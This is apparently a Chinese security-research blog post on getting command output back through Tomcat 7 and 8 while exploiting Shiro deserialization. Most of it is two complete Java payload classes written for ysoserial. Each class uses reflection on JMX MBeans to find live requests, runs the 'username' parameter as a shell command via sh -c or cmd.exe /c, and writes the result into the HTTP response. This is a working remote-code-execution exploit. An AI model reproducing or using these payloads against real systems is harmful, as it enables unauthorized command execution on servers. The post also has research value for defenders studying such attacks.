首发于先知社区
前情提要
这周回顾了一下我看到的前人关于tomcat回显和无文件webshell的文章。发现各个师傅的方法各有优劣,下面简单总结一下(总结不对的地方还请各位师傅指出)。
所以这里提出一种新的回显方案解决一下tomcat7+shiro这个阴暗的角落(经测试tomcat8仍然适用)。
测试环境:macos+tomcat7,8+shiro-simple-web
再看register
在上面提到的第四篇文章中提到包含有request(有了request就有response)的rp会被储存在global中,但其实再往下看会发现rp被注册进了组件。
既然注册进去了肯定存放在哪里的,接下来动静结合调代码找就好了,代码跟踪过于冗长而且我也没细细探究每一步的意义,就不装模作样的分析了,这里直接给结论。
通过idea的计算功能我们可以符合直觉的拿到response,实际想获取还是需要各种反射的。tomcat7,8获取这条链的方式大同小异,变化之处在于name="http-bio-8888",type=GlobalRequestProcessor
,其中8888是tomcat服务端端口,在tomcat8里面bio变为nio。关于bio,nio的细节可以参考这篇文章。
除此之外在实际场景下会有很多requests是要遍历processors中的各个requests。
demo代码
tomcat8的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.coyote.Request; import org.apache.tomcat.util.buf.ByteChunk; import org.apache.tomcat.util.modeler.Registry; import javax.management.MBeanServer; import java.io.InputStream; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.HashMap; import java.util.Scanner;
public class tomcat82 extends AbstractTranslet { public tomcat82() { try{ MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); obj = field.get(obj);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap obj2 = (HashMap)field.get(obj); obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-nio-8888\",type=GlobalRequestProcessor");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); obj = field.get(obj);
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); field.setAccessible(true); ArrayList obj3 = (ArrayList)field.get(obj);
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); field.setAccessible(true);
boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
for (int i = 0; i < obj3.size(); i++) { Request obj4 = (Request) field.get(obj3.get(i)); String username = obj4.getParameters().getParameter("username"); if(username != null){ String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c", username}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = ""; while (s.hasNext()){ output += s.next(); }
byte[] buf = output.getBytes(); ByteChunk bc = new ByteChunk(); bc.setBytes(buf, 0, buf.length); obj4.getResponse().doWrite(bc); break; } }
} catch (Exception e){ } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
tomcat7的demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.apache.coyote.Request; import org.apache.tomcat.util.buf.ByteChunk; import org.apache.tomcat.util.modeler.Registry;
import javax.management.MBeanServer; import java.io.InputStream; import java.lang.reflect.Field; import java.util.ArrayList; import java.util.HashMap; import java.util.Scanner;
public class tomcat72 extends AbstractTranslet { public tomcat72(){ try{
MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer(); Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); obj = field.get(obj);
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap obj2 = (HashMap)field.get(obj); obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-bio-8888\",type=GlobalRequestProcessor");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object"); field.setAccessible(true); obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); field.setAccessible(true); obj = field.get(obj);
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); field.setAccessible(true); ArrayList obj3 = (ArrayList)field.get(obj);
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); field.setAccessible(true);
boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; }
for (int i = 0; i < obj3.size(); i++) { Request obj4 = (Request) field.get(obj3.get(i)); String username = obj4.getParameters().getParameter("username"); if(username != null){ String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c", username}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = ""; while (s.hasNext()){ output += s.next(); }
byte[] buf = output.getBytes(); ByteChunk bc = new ByteChunk(); bc.setBytes(buf, 0, buf.length); obj4.getResponse().doWrite(bc); break; } } } catch (Exception e) {
} }
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
另外如果有师傅在复现的时候发现header超长,可以参考缩小ysoserial payload体积的几个方法。(也可以参考长亭师傅给的修改header头的思路,实际弄走的时候也许会遇到一些坑)
tomcat7+simple-shiro-web成功复现
最后
感谢大师傅们开源的自己的思路,学到很多。其次在研究这种方法的时候发现还有其他很多MBean,也许还有很多好玩的东西?